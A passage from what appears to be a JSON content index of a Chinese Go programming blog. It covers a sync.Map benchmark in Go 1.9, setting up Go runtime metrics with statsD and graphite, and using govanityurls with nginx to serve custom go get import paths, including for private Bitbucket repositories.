Go原生的map不是goroutine-safe的，尽管在之前的版本中陆续加入了对map并发的检测和提醒，但gopher一旦需要并发map时，还需要自行去实现。在Go 1.9中，标准库提供了一个支持并发的Map类型：sync.Map。sync.Map的用法比较简单，这里简单对比一下builtin map和sync.Map在并发环境下的性能：\n我们自定义一个简陋的支持并发的类型:MyMap，来与sync.Map做对比：\n// github.com/bigwhite/experiments/go19-examples/benchmark-for-map/map_benchmark.go package mapbench import \u0026quot;sync\u0026quot; type MyMap struct { sync.Mutex m map[int]int } var myMap *MyMap var syncMap *sync.Map func init() { myMap = \u0026amp;MyMap{ m: make(map[int]int, 100), } syncMap = \u0026amp;sync.Map{} } func builtinMapStore(k, v int) { myMap.Lock() defer myMap.Unlock() myMap.m[k] = v } func builtinMapLookup(k int) int { myMap.Lock() defer myMap.Unlock() if v, ok := myMap.m[k]; !ok { return -1 } else { return v } } func builtinMapDelete(k int) { myMap.Lock() defer myMap.Unlock() if _, ok := myMap.m[k]; !ok { return } else { delete(myMap.m, k) } } func syncMapStore(k, v int) { syncMap.Store(k, v) } func syncMapLookup(k int) int { v, ok := syncMap.Load(k) if !ok { return -1 } return v.(int) } func syncMapDelete(k int) { syncMap.Delete(k) } 针对上面代码，我们写一些并发的benchmark test，用伪随机数作为key：\n// github.com/bigwhite/experiments/go19-examples/benchmark-for-map/map_benchmark_test.go package mapbench import \u0026quot;testing\u0026quot; func BenchmarkBuiltinMapStoreParalell(b *testing.B) { b.RunParallel(func(pb *testing.PB) { r := rand.New(rand.NewSource(time.Now().Unix())) for pb.Next() { // The loop body is executed b.N times total across all goroutines. k := r.Intn(100000000) builtinMapStore(k, k) } }) } func BenchmarkSyncMapStoreParalell(b *testing.B) { b.RunParallel(func(pb *testing.PB) { r := rand.New(rand.NewSource(time.Now().Unix())) for pb.Next() { // The loop body is executed b.N times total across all goroutines. k := r.Intn(100000000) syncMapStore(k, k) } }) } ... ... 我们执行一下benchmark:\n$go test -bench=. goos: darwin goarch: amd64 pkg: github.com/bigwhite/experiments/go19-examples/benchmark-for-map BenchmarkBuiltinMapStoreParalell-4 3000000 515 ns/op BenchmarkSyncMapStoreParalell-4 2000000 754 ns/op BenchmarkBuiltinMapLookupParalell-4 5000000 396 ns/op BenchmarkSyncMapLookupParalell-4 20000000 60.5 ns/op BenchmarkBuiltinMapDeleteParalell-4 5000000 392 ns/op BenchmarkSyncMapDeleteParalell-4 30000000 59.9 ns/op PASS ok github.com/bigwhite/experiments/go19-examples/benchmark-for-map 20.550s 可以看出，除了store，lookup和delete两个操作，sync.Map都比我自定义的粗糙的MyMap要快好多倍，似乎sync.Map对read做了特殊的优化（粗略看了一下代码：在map read这块，sync.Map使用了无锁机制，这应该就是快的原因了）。\nd) 支持profiler labels 通用的profiler有时并不能完全满足需求，我们时常需要沿着“业务相关”的执行路径去Profile。Go 1.9在runtime/pprof包、go tool pprof工具增加了对label的支持。Go team成员rakyll有一篇文章“Profiler labels in go”详细介绍了profiler labels的用法，可以参考，这里不赘述了。\n六、后记 正在写这篇文章之际，Russ Cox已经在GopherCon 2017大会上做了”The Future of Go”的演讲，并announce Go2大幕的开启，虽然只是号召全世界的gopher们一起help and plan go2的设计和开发。同时，该演讲的文字版已经在Go官网发布了，文章名为《Toward Go 2》，显然这又是Go语言演化史上的一个里程碑的时刻，值得每个gopher为之庆贺。不过Go2这枚靴子真正落地还需要一段时间，甚至很长时间。当下，我们还是要继续使用和改善Go1，就让我们从Go 1.9开始吧^0^。\n本文涉及的demo代码可以在这里下载。\n微博：@tonybai_cn\n微信公众号：iamtonybai\ngithub.com: https://github.com/bigwhite\n","permalink":"https://tonybai.com/2017/07/14/some-changes-in-go-1-9/","summary":"\u003cp\u003e\u003ca href=\"http://tonybai.com/tag/go\"\u003eGo语言\u003c/a\u003e在2016年当选\u003ca href=\"https://www.tiobe.com/tiobe-index/\"\u003etiobe index\u003c/a\u003e的年度编程语言。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"Image 1: img{512x368}\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-the-programming-language-of-the-year-2016-of-tiobe-index.png\"\u003e\u003c/p\u003e\n\u003cp\u003e转眼间6个月过去了，Go在tiobe index排行榜上继续强势攀升，在最新公布的TIBOE INDEX 7月份的排行榜上，Go挺进Top10：\u003c/p\u003e","title":"Go 1.9中值得关注的几个变化"},{"content":"自从Go 1.5开始，每次Go release, Gopher Brian Hatfield都会将自己对新版Go的runtime的性能数据（与之前Go版本的比较）在twitter上晒出来。就连Go team staff在世界各地做speaking时也在slide中引用Brian的图片。后来，Brian Hatfield将其用于度量runtime性能数据的代码打包成library并放在github上开源了，我们也可以使用这个library来建立我们自己的Go Runtime metrics设施了。这里简要说一下搭建的步骤。\n一、环境与原理 Brian Hatfield的go-runtime-metrics library实现的很简单，其runtime data来自于Go runtime package中的MemStats、NumGoroutine和NumCgoCall等。被测试目标程序只需要import该library即可输出runtime states数据：\nimport _ \u0026quot;github.com/bmhatfield/go-runtime-metrics\u0026quot; go-runtime-metrics library将启动一个单独的goroutine，并定时上报runtime数据。目前该library仅支持向statsD输出数据，用户可以通过配置将statsD的数据导入graphite并使用graphite web查看，流程如下图：\n本次实验环境为ubuntu 16.04.1：\n$ uname -rmn tonybai-ThinkCentre-M6600s-N000 4.4.0-83-generic x86_64 二、搭建步骤 1、安装go-runtime-metrics library 我们直接go get就可以下载go-runtime-metrics library：\n$ go get github.com/bmhatfield/go-runtime-metrics 我们编写一个目标程序：\n//main.go package main import ( \u0026quot;flag\u0026quot; \u0026quot;log\u0026quot; \u0026quot;net/http\u0026quot; \u0026quot;os\u0026quot; _ \u0026quot;github.com/bmhatfield/go-runtime-metrics\u0026quot; ) func main() { flag.Parse() cwd, err := os.Getwd() if err != nil { log.Fatal(err) } srv := \u0026amp;http.Server{ Addr: \u0026quot;:8000\u0026quot;, // Normally \u0026quot;:443\u0026quot; Handler: http.FileServer(http.Dir(cwd)), } log.Fatal(srv.ListenAndServe()) } 我的ubuntu主机上安装了四个go版本，它们分别是go 1.5.4、go 1.7.6、go 1.8.3和go1.9beta2，于是我们分别用这四个版本的server作为被测程序进行go runtime数据上报，以便对比。\n$ GOROOT=~/.bin/go154 ~/.bin/go154/bin/go build -o server-go154 main.go $ GOROOT=~/.bin/go174 ~/.bin/go174/bin/go build -o server-go174 main.go $ GOROOT=~/.bin/go183 ~/.bin/go183/bin/go build -o server-go183 main.go $ GOROOT=~/.bin/go19beta2 ~/.bin/go19beta2/bin/go build -o server-go19beta2 main.go $ ls -l -rwxr-xr-x 1 tonybai tonybai 6861176 7月 4 13:49 server-go154 -rwxrwxr-x 1 tonybai tonybai 5901876 7月 4 13:50 server-go174 -rwxrwxr-x 1 tonybai tonybai 6102879 7月 4 13:51 server-go183 -rwxrwxr-x 1 tonybai tonybai 6365648 7月 4 13:51 server-go19beta2 2、安装、配置和运行statsD statsD这个工具用于收集统计信息，并将聚合后的信息发给后端服务（比如：graphite）。statsD是采用js实现的服务，因此需要安装nodejs、npm和相关modules：\n$ sudo apt-get install nodejs $ sudo apt-get install npm 接下来，我们将statsD项目clone到本地并根据exampleConfig.js模板配置一个我们自己用的goruntimemetricConfig.js（基本上就是保留默认配置）:\n// goruntimemetricConfig.js { graphitePort: 2003 , graphiteHost: \u0026quot;127.0.0.1\u0026quot; , port: 8125 , backends: [ \u0026quot;./backends/graphite\u0026quot; ] } 启动statsD:\n$ nodejs stats.js goruntimemetricConfig.js 3 Jul 11:14:20 - [7939] reading config file: goruntimemetricConfig.js 3 Jul 11:14:20 - server is up INFO 启动成功！\n3、安装、配置和运行graphite graphite是一种存储时序监控数据，并可以按用户需求以图形化形式展示数据的工具，它包括三个组件：\nwhisper whisper是一种基于file的时序数据库格式，同时whisper也提供了相应的命令和API供其他组件调用以操作时序数据库；\ncarbon carbon用于读取外部推送的metrics信息，进行聚合并写入db，它还支持缓存热点数据，提升访问效率。\ngraphite-web。 graphite-web则是针对用户的图形化系统，用于定制展示监控数据的。\nGraphite的安装和配置是略微繁琐的，我们一步一步慢慢来。\na) 安装graphite $sudo apt-get install graphite-web graphite-carbon whisper将作为依赖自动被安装。 b) local_settings.py graphite的主配置文件在/etc/graphite/local_settings.py，文件里面有很多配置项，这里仅列出有关的，且本次生效的配置：\n// /etc/graphite/local_settings.py TIME_ZONE = 'Asia/Shanghai' LOG_RENDERING_PERFORMANCE = True LOG_CACHE_PERFORMANCE = True LOG_METRIC_ACCESS = True GRAPHITE_ROOT = '/usr/share/graphite-web' CONF_DIR = '/etc/graphite' STORAGE_DIR = '/var/lib/graphite/whisper' CONTENT_DIR = '/usr/share/graphite-web/static' WHISPER_DIR = '/var/lib/graphite/whisper' LOG_DIR = '/var/log/graphite' INDEX_FILE = '/var/lib/graphite/search_index' # Search index file DATABASES = { 'default': { 'NAME': '/var/lib/graphite/graphite.db', 'ENGINE': 'django.db.backends.sqlite3', 'USER': '', 'PASSWORD': '', 'HOST': '', 'PORT': '' } } c) 同步数据库 接下来执行下面两个命令来做database sync(同步)：\n$ sudo graphite-manage migrate auth .. .... Operations to perform: Apply all migrations: auth Running migrations: Rendering model states... DONE Applying contenttypes.0001_initial... OK Applying contenttypes.0002_remove_content_type_name... OK Applying auth.0001_initial... OK Applying auth.0002_alter_permission_name_max_length... OK Applying auth.0003_alter_user_email_max_length... OK Applying auth.0004_alter_user_username_opts... OK Applying auth.0005_alter_user_last_login_null... OK Applying auth.0006_require_contenttypes_0002... OK $ sudo graphite-manage syncdb Operations to perform: Synchronize unmigrated apps: account, cli, render, whitelist, metrics, url_shortener, dashboard, composer, events, browser Apply all migrations: admin, contenttypes, tagging, auth, sessions Synchronizing apps without migrations: Creating tables... Creating table account_profile Creating table account_variable Creating table account_view Creating table account_window Creating table account_mygraph Creating table dashboard_dashboard Creating table events_event Creating table url_shortener_link Running deferred SQL... Installing custom SQL... Running migrations: Rendering model states... DONE Applying admin.0001_initial... OK Applying sessions.0001_initial... OK Applying tagging.0001_initial... OK You have installed Django's auth system, and don't have any superusers defined. Would you like to create one now? (yes/no): yes Username (leave blank to use 'root'): Email address: xx@yy.com Password: Password (again): Superuser created successfully. 这里我们创建一个superuser：root，用于登录graphite-web时使用。\nd) 配置carbon 涉及carbon的配置文件如下，我们保持默认配置不动：\n/etc/carbon/carbon.conf（内容太多，这里不列出来了） /etc/carbon/storage-schemas.conf [carbon] pattern = ^carbon\\. retentions = 60:90d [default_1min_for_1day] pattern = .* retentions = 60s:1d [stats] pattern = ^stats.* retentions = 10s:6h,1min:6d,10min:1800d carbon有一个cache功能，我们通过下面步骤可以将其打开：\n打开carbon-cache使能开关： $ vi /etc/default/graphite-carbon CARBON_CACHE_ENABLED=true 启动carbon-cache： $ sudo cp /usr/share/doc/graphite-carbon/examples/storage-aggregation.conf.example /etc/carbon/storage-aggregation.conf $ systemctl start carbon-cache e) 启动graphite-web graphite-web支持多种主流web server，这里以apache2为例，graphite-web将mod-wsgi方式部署在apache2下面：\n$sudo apt-get install apache2 libapache2-mod-wsgi $ sudo service apache2 start $ sudo a2dissite 000-default Site 000-default disabled. $ sudo service apache2 reload $ sudo cp /usr/share/graphite-web/apache2-graphite.conf /etc/apache2/sites-available $ sudo a2ensite apache2-graphite Enabling site apache2-graphite. To activate the new configuration, you need to run: service apache2 reload $ sudo systemctl reload apache2 由于apache2的Worker process默认以www-data:www-data用户权限运行，但数据库文件的访问权限却是：_graphite:_graphite：\n$ ll /var/lib/graphite/graphite.db -rw-r--r-- 1 _graphite _graphite 72704 7月 3 13:48 /var/lib/graphite/graphite.db 我们需要修改一下apache worker的user：\n$ sudo vi /etc/apache2/envvars export APACHE_RUN_USER=_graphite export APACHE_RUN_GROUP=_graphite 重启apache2生效！使用Browser打开：http://127.0.0.1，如无意外，你将看到下面graphite-web的首页：\n三、执行benchmarking 这里我将使用wrk这个http benchmarking tool分别对前面的四个版本的目标程序(server-go154 server-go174 server-go183 server-go19beta2)进行benchmarking test，每个目标程序接收10分钟的请求：\n$ ./server-go154 $ wrk -t12 -c400 -d10m http://127.0.0.1:8000 $ ./server-go174 $ wrk -t12 -c400 -d10m http://127.0.0.1:8000 $ ./server-go183 $ wrk -t12 -c400 -d10m http://127.0.0.1:8000 $ ./server-go19beta2 $ wrk -t12 -c400 -d10m http://127.0.0.1:8000 四、结果展示 用浏览器打开graphite-web，在左边的tree标签下以此打开树形结构：Metrics -\u0026gt; stats -\u0026gt; gauges -\u0026gt; go -\u0026gt; YOUR_HOST_NAME -\u0026gt; mem -\u0026gt; gc -\u0026gt; pause，如果顺利的话，你将会在Graphite Composer窗口看到折线图，我们也以GC pause为例，GC pause也是gopher们最为关心的：\n通过这幅图（左侧坐标轴的单位为nanoseconds），我们大致可以看出：\nGo 1.5.4的GC pause约在600μs左右；\nGo 1.7.4的GC pause约在300μs左右；\nGo 1.8.3和Go 1.9beta2的GC pause基本都在100μs以下了。Go 1.9的GC改进似乎不大。不过这里我的程序也并不足够典型。\n其他结果：\nGo routines number：\nGC count：\nmemory allocations：\n除了查看单个指标曲线，你也可以通过graphite-web提供的dashboard功能定制你要monitor的面板，这里就不赘述了。\n五、参考资料 How to Setup Graphite with Statsd on an Ubuntu 16.04 微博：@tonybai_cn\n微信公众号：iamtonybai\ngithub.com: https://github.com/bigwhite\n","permalink":"https://tonybai.com/2017/07/04/setup-go-runtime-metrics-for-yourself/","summary":"\u003cp\u003e自从\u003ca href=\"http://tonybai.com/2015/07/10/some-changes-in-go-1-5/\"\u003eGo 1.5\u003c/a\u003e开始，每次\u003ca href=\"https://golang.org/dl\"\u003eGo release\u003c/a\u003e, Gopher \u003ca href=\"https://twitter.com/brianhatfield\"\u003eBrian Hatfield\u003c/a\u003e都会将自己对新版Go的runtime的性能数据（与之前Go版本的比较）在twitter上晒出来。就连Go team staff在世界各地做speaking时也在slide中引用Brian的图片。后来，Brian Hatfield将其用于度量runtime性能数据的代码打包成library并放在github上\u003ca href=\"https://github.com/bmhatfield/go-runtime-metrics\"\u003e开源了\u003c/a\u003e，我们也可以使用这个\u003ca href=\"https://github.com/bmhatfield/go-runtime-metrics\"\u003elibrary\u003c/a\u003e来建立我们自己的Go Runtime metrics设施了。这里简要说一下搭建的步骤。\u003c/p\u003e","title":"搭建你自己的Go Runtime metrics环境"},{"content":"《定制Go Package的Go Get导入路径》一文中我们讲到了通过使用govanityurls服务，我们可以定制go package的go get导入路径。不过，govanityurls的用途还不止这些，它还可以让你的私有代码仓库中的go package支持go get。\n众所周知，开源的Go package一般分布在github、bitbucket等站点，但商业组织内部闭源的Go package则不一定都托管在像github这样的代码管理服务站点上，虽然使用github private repository服务的组织和个人正在日益增多（国内用户可能会用到码云git.oschina.net、code.csdn.net等）。很多企业或组织会自己搭建私有代码仓库(一般使用git)来满足组织内部的代码版本管理需求，而目前市面上主流且成熟的支持本地搭建的代码管理软件包括gitlab、bitbucket等。那么如何让go get支持从这些私有代码仓库中获取go package呢？本文将来回答这个问题。\n很多人会问：为什么要让私有仓库中的go package支持go get呢？直接git clone不就行了么？用过go get的gopher们都清楚：go get可以自动分析go package的依赖，并帮助自动下载相关依赖。虽然go get下载依赖有各种局限，但没有go get的帮助，手工去下载各种依赖会更加“痛苦”。好了，接下来我们将用一个具体的例子来演示一下go get是如何一步步的支持从私有代码仓库下载Go包的。\n我所在的开发团队使用的代码仓库就是在阿里云ECS上自行搭建的，使用的是Atlassian出品的bitbucket。虽然bitbucket在在线服务市场占有率可能不及github，但在线下自建代码仓库方面，bitbucket也是不可小觑的重量级选手。\n不过bitbucket如何安装不是这里的重点，bitbucket的安装方法参考其官网manual即可。安装后的bitbucket 仓库中的Project foo的repository bar的clone地址样式如下：\nhttp://bitbucket_ip:bitbucket_port/scm/foo/bar.git 注意：我们的bitbucket仓库没有启用https，auth的方式采用的是普通的user和password方式（bitbucket支持客户端SSH key方式访问repository）。除此之外，我们并没有为bitbucket仓库绑定域名。\n一、尝试go get“裸库” 我们以foo这个在demo project下的go repository为例，这个repository的clone地址为：http://10.11.12.13:31990/scm/demo/foo.git，于是我们先来尝试一下直接go get这个未经任何“修饰”的“裸库”(由于没有使用https，因此我们在go get的命令行参数中增加了-insecure选项):\n# go get -insecure -v 10.11.12.13:31990/scm/demo/foo.git # cd .; git ls-remote git://10.11.12.13:31990/scm/demo/foo fatal: protocol error: bad line length character: HTTP # cd .; git ls-remote https://10.11.12.13:31990/scm/demo/foo fatal: unable to access 'https://10.11.12.13:31990/scm/demo/foo/': gnutls_handshake() failed: An unexpected TLS packet was received. # cd .; git ls-remote http://10.11.12.13:31990/scm/demo/foo fatal: could not read Username for 'http://10.11.12.13:31990': terminal prompts disabled # cd .; git ls-remote git+ssh://10.11.12.13:31990/scm/demo/foo ssh_exchange_identification: Connection closed by remote host fatal: Could not read from remote repository. Please make sure you have the correct access rights and the repository exists. # cd .; git ls-remote ssh://10.11.12.13:31990/scm/demo/foo ssh_exchange_identification: Connection closed by remote host fatal: Could not read from remote repository. Please make sure you have the correct access rights and the repository exists. 10.11.12.13:31990/scm/demo/foo.git (download) root@10.11.12.13's password: 以失败告终！我们来分析一下go get -v输出的日志! 通过日志可以看出go get先后尝试用不同访问方式去获取repository数据，尝试的顺序依次是：git、https、http和git+ssh，结果都无功而返。\n对于git方式，我们并未开通bitbucket的git访问服务，失败是必然的； 对于https，我们的bitbucket server同样未予支持； 对于http方式，日志提示：” terminal prompts disabled”，即客户端终端的提示被禁了，也就是无法输入user和password； 对于最后一种git+ssh，由于没有ssh登录bitbucket主机的密码也失败了。 在四种访问方式中，http是我们期望的。为了http方式能成功获取数据，我们需要开启termnial prompts(通过GIT_TERMINAL_PROMPT=1)，于是我们再次尝试：\n# GIT_TERMINAL_PROMPT=1 go get -v -insecure 10.11.12.13:31990/scm/demo/foo.git # cd .; git ls-remote git://10.11.12.13:31990/scm/demo/foo fatal: Could not read from remote repository. Please make sure you have the correct access rights and the repository exists. # cd .; git ls-remote https://10.11.12.13:31990/scm/demo/foo fatal: unable to access 'https://10.11.12.13:31990/scm/demo/foo/': gnutls_handshake() failed: The TLS connection was non-properly terminated. Username for 'http://10.11.12.13:31990': tonybai Password for 'http://tonybai@10.11.12.13:31990': 10.11.12.13:31990/scm/demo/foo.git (download) Username for 'http://10.11.12.13:31990': tonybai Password for 'http://tonybai@10.11.12.13:31990': package foo/config: unrecognized import path \u0026quot;foo/config\u0026quot; (import path does not begin with hostname) package foo/routers: unrecognized import path \u0026quot;foo/routers\u0026quot; (import path does not begin with hostname) github.com/mattes/migrate (download) package github.com/mattes/migrate/driver/mysql: cannot find package \u0026quot;github.com/mattes/migrate/driver/mysql\u0026quot; in any of: /root/.bin/go18/src/github.com/mattes/migrate/driver/mysql (from $GOROOT) /root/go/src/github.com/mattes/migrate/driver/mysql (from $GOPATH) 我们看到这次go get在尝试http访问repository时，我们有机会输入user和password了，go get也成功了！至于下面的“unrecognized import path” error那是由于repository在GOPATH下的位置变更导致的。我们查看一下已经下载到本地的foo repository：\n# tree -L 1 10.11.12.13\\:31990/scm/demo/foo.git/ 10.11.12.13:31990/scm/demo/foo.git/ ├── foo.json ├── foo.yaml ├── conf ├── config ├── controllers ├── Dockerfile ├── errors ├── front-static ├── index ├── main.go ├── Makefile ├── migrations ├── models ├── README ├── routers ├── service ├── static ├── tests ├── topic ├── utils ├── vendor ├── views └── websocket 17 directories, 6 files 虽然go get成功了， 但对于gopher来讲，foo下package的导入路径变成了：\nimport 10.11.12.13:31990/scm/demo/foo.git/some-package 这种格式、这种长度的导入路径是无法接受的。那我们该如何解决呢？\n一种方法就是在bitbucket server端进行配置，通过为私有镜像仓库赋予域名的方式来去除import path中ip、port、不必要的前缀路径：scm/demo以及不必要的repository名中的后缀”.git”。但这种配置方式可能是非常复杂的，且是与你使用的git server软件相关的：bitbucket可能有bitbucket的配置方法，换作gitlab，可能就需要另外一种配置方法了。\n另外一种方法就是用govanityurls来屏蔽server端复杂的配置，也屏蔽了与git server软件的相关性。\n二、使用govanityurls让私有代码仓库中的go包支持go get 在《定制Go Package的Go Get导入路径》一文中，我们已经详细说明了govanityurls的使用和配置方法，这里就不赘述了，仅给出必要配置。\n1、配置和启动govanityurls 这里我们使用pkg.tonybai.com这个域名来作为tonybai.com下面所有go package的导入路径的前缀，以foo package为例，它的导入路径将为”import pkg.tonybai.com/foo”，这样我们的vanity.yaml的配置如下：\n/foo: repo: http://10.11.12.13:31990/scm/demo/foo.git 启动govanityurls：\n$ nohup govanityurls -host pkg.tonybai.com \u0026amp; 2、配置nginx并做域名重指向 在我的环境中，我将govanityurls部署到与bitbucket相同的server上了。在这台主机上，我们配置一下nginx，让govanityurls的服务以80端口呈现：\n# cat /etc/nginx/conf.d/default.conf server { listen 80; server_name pkg.tonybai.com; location / { proxy_pass http://10.11.12.13:8080; proxy_redirect off; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; } } 重启nginx使配置生效：nginx -s reload\n3、验证 到目前为止foo这个repo的go get path变成了pkg.tonybai.com/foo了，我们来试着go get一下：\n# GIT_TERMINAL_PROMPT=1 go get -insecure -v pkg.tonybai.com/foo Fetching https://pkg.tonybai.com/foo?go-get=1 Parsing meta tags from https://pkg.tonybai.com/foo?go-get=1 (status code 200) get \u0026quot;pkg.tonybai.com/foo\u0026quot;: found meta tag main.metaImport{Prefix:\u0026quot;pkg.tonybai.com/foo\u0026quot;, VCS:\u0026quot;git\u0026quot;, RepoRoot:\u0026quot;http://10.11.12.13:31990/scm/demo/foo.git\u0026quot;} at https://pkg.tonybai.com/foo?go-get=1 tonybai.com/foo (download) Password for 'http://10.11.12.13:31990': package foo/config: unrecognized import path \u0026quot;foo/config\u0026quot; (import path does not begin with hostname) package foo/routers: unrecognized import path \u0026quot;foo/routers\u0026quot; (import path does not begin with hostname) github.com/mattes/migrate (download) package github.com/mattes/migrate/driver/mysql: cannot find package \u0026quot;github.com/mattes/migrate/driver/mysql\u0026quot; in any of: /root/.bin/go18/src/github.com/mattes/migrate/driver/mysql (from $GOROOT) /root/go/src/github.com/mattes/migrate/driver/mysql (from $GOPATH) go get成功！查看一下本地foo的repository情况：\n# tree -L 1 go/src/pkg.tonybai.com/foo go/src/pkg.tonybai.com/foo ├── foo.json ├── foo.yaml ├── conf ├── config ├── controllers ├── Dockerfile ├── errors ├── front-static ├── index ├── main.go ├── Makefile ├── migrations ├── models ├── README ├── routers ├── service ├── static ├── tests ├── topic ├── utils ├── vendor ├── views └── websocket 17 directories, 6 files 三、小结 通过govanityurls，我们可以很容易让私有代码仓库中的go包支持go get； 对于本身就不支持go get的git server，那govanityurls也是无能为力的。 微博：@tonybai_cn\n微信公众号：iamtonybai\ngithub.com: https://github.com/bigwhite\n","permalink":"https://tonybai.com/2017/06/30/go-get-go-packages-in-private-code-repo-by-govanityurls/","summary":"\u003cp\u003e《\u003ca href=\"http://tonybai.com/2017/06/28/set-custom-go-get-import-path-for-go-package/\"\u003e定制Go Package的Go Get导入路径\u003c/a\u003e》一文中我们讲到了通过使用\u003ca href=\"http://github.com/bigwhite/govanityurls\"\u003egovanityurls\u003c/a\u003e服务，我们可以定制go package的go get导入路径。不过，govanityurls的用途还不止这些，它还可以让你的私有代码仓库中的go package支持go get。\u003c/p\u003e","title":"使用govanityurls让私有代码仓库中的go包支持go get"},{"content":"近期Go team的组员Jaana B. Dogan，网名：rakyll开源了一个小工具：Go Vanity URLs。这个小工具可以帮助你快速为你的Go package定制Go get的导入路径（同样也是package被使用时的import路径）。\n说到go package的go get导入路径，我们最常见和常使用的domain name就是github.com了，比如：beego包的go get导入路径就是 go get github.com/astaxie/beego。我们还经常看到一些包，它们的导入路径很特殊，比如：go get golang.org/x/net、go get gopkg.in/yaml.v2等（虽然net、yaml这些包实际的repo也是存在于github.com上的），这些就是定制化的package import path，它们有诸多好处：\n可以为package设置canonical import path ，即权威导入路径\n这是在Go 1.4版本中加入的概念。Go package多托管在几个知名的代码管理网站，比如：github.com、bitbucket.org等，这样默认情况下package的import path就是github.com/xxx/package、bitbucket.org/xxx/package等。一旦某个网站关门大吉了，那package代码势必要迁移到其他站点，这样package的import path就要发生改变，这会给package的用户造成诸多不便，比如之前的code.google.com关闭就给广大的gopher带来了很大的“伤害”。canonical import path就可以解决这个问题。package的用户只需要使用package的canonical import path，这样无论package的实际托管网站在哪，对package的用户都不会带来影响。\n便于组织和个人对package的管理\n组织和个人可以将其分散托管在不同代码管理网站的package统一聚合到组织的官网名下或个人的域名下，比如：golang.org/x/net、gopkg.in/xxx等。\npackage的import路径可以更短、更简洁\n有些时候，github.com上的go package的import path很长、很深，并不便于查找和书写，通过定制化import path，我们可以使用更短、更简洁的域名来代替github.com仓库下的多级路径。\n不过rakyll提供的govanityurls仅能运行于Google的app engine上，这对于国内的Gopher们来说是十分不便的，甚至是不可用的，于是这里fork了rakyll的repo，并做了些许修改，让govanityurls可以运行于普通的vps主机上。\n一、govanityurls原理 govanityurls的原理十分简单，它本身就好比一个“导航”服务器。当go get将请求发送给govanityurls时，govanityurls将请求中的repo的真实地址返回给go get，后续go get再从真实的repo地址获取package数据。\n可以看出go get第一步是尝试获取自定义路径的包的真实地址，govanityurls将返回一个类似如下内容的http应答(针对go get tonybai.com/gowechat请求)：\n\u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;meta http-equiv=\u0026quot;Content-Type\u0026quot; content=\u0026quot;text/html; charset=utf-8\u0026quot;/\u0026gt; \u0026lt;meta name=\u0026quot;go-import\u0026quot; content=\u0026quot;tonybai.com/gowechat git https://github.com/bigwhite/gowechat\u0026quot;\u0026gt; \u0026lt;meta name=\u0026quot;go-source\u0026quot; content=\u0026quot;tonybai.com/gowechat \u0026quot;\u0026gt; \u0026lt;meta http-equiv=\u0026quot;refresh\u0026quot; content=\u0026quot;0; url=https://godoc.org/tonybai.com/gowechat\u0026quot;\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; Nothing to see here; \u0026lt;a href=\u0026quot;https://godoc.org/tonybai.com/gowechat\u0026quot;\u0026gt;see the package on godoc\u0026lt;/a\u0026gt;. \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; 二、使用govanityurls 关于govanityurls的使用，可以参考其README.md，这里以一个demo来作为govanityurls的使用说明。\n1、安装govanityurls 安装方法：\n$go get github.com/bigwhite/govanityurls $govanityurls govanityurls is a service that allows you to set custom import paths for your go packages Usage: govanityurls -host [HOST_NAME] -host string custom domain name, e.g. tonybai.com 和rakyll提供的govanityurls不同的是，这里的govanityurls需要外部传入一个host参数(比如：tonybai.com)，而在原版中这个host是由google app engine的API提供的。\n2、配置vanity.yaml vanity.yaml中配置了host下的自定义包的路径以及其真实的repo地址：\n/gowechat: repo: https://github.com/bigwhite/gowechat 上面这个配置中，我们实际上为gowechat这个package定义了tonybai.com/gowechat这个go get路径，其真实的repo存放在github.com/bigwhite/gowechat。当然这个vanity.yaml可以配置N个自定义包路径，也可以定义多级路径，比如：\n/gowechat: repo: https://github.com/bigwhite/gowechat /x/experiments: repo: https://github.com/bigwhite/experiments 3、配置反向代理 govanityurls默认监听的是8080端口，这主要是考虑到我们通常会使用主域名定制路径，而在主域名下面一般情况下都会有其他一些服务，比如：主页、博客等。通常我们都会用一个反向代理软件做路由分发。我们针对gowechat这个repo定义了一条nginx location规则：\n// /etc/nginx/conf.d/default.conf server { listen 80; listen 443 ssl; server_name tonybai.com; ssl_certificate /etc/nginx/cert.crt; ssl_certificate_key /etc/nginx/cert.key; ssl on; location /gowechat { proxy_pass http://10.11.36.23:8080; proxy_redirect off; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_http_version 1.1; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection \u0026quot;upgrade\u0026quot;; } } 这里为了方便，我既在80端口提供http服务，也在443端口提供了https服务。这里的10.11.36.23就是我真正部署govanityurls的host（一台thinkcenter PC）。/etc/nginx/cert.key和/etc/nginx/cert.crt可以通过下面命令生成：\nsudo openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /etc/nginx/cert.key -out /etc/nginx/cert.crt CN填tonybai.com 注意：修改两个文件的owner权限，将其owner改为nginx worker process的user，我这里是www-data(chown www-data:www-data /etc/nginx/cert.*)。\n4、测试govanityurls 我在我的mac上修改了一下/etc/hosts，添加一条路由：\n10.11.36.23 tonybai.com 我们来go get tonybai.com/gowechat：\n$go get -v -insecure tonybai.com/gowechat Fetching https://tonybai.com/gowechat?go-get=1 https fetch failed: Get https://tonybai.com/gowechat?go-get=1: EOF Fetching http://tonybai.com/gowechat?go-get=1 Parsing meta tags from http://tonybai.com/gowechat?go-get=1 (status code 200) get \u0026quot;tonybai.com/gowechat\u0026quot;: found meta tag main.metaImport{Prefix:\u0026quot;tonybai.com/gowechat\u0026quot;, VCS:\u0026quot;git\u0026quot;, RepoRoot:\u0026quot;https://github.com/bigwhite/gowechat\u0026quot;} at http://tonybai.com/gowechat?go-get=1 tonybai.com/gowechat (download) package tonybai.com/gowechat: no buildable Go source files in /Users/tony/Test/GoToolsProjects/src/tonybai.com/gowechat $ls /Users/tony/Test/GoToolsProjects/src/tonybai.com/gowechat LICENSE README.md mp/ pb/ qy/ 我们可以看到tonybai.com/gowechat被成功get到本地，并且import path为tonybai.com/gowechat，其他包可以按照这个定制的gowechat的导入路径import gowechat package了。\n上面例子中，我们给go get传入了一个-insecure的参数，这样go get就会通过http协议去访问tonybai.com/gowechat了。我们试试去掉-insecure，不过再次执行前需先将本地的tonybai.com/gowechat包删除掉。\n$go get -v tonybai.com/gowechat 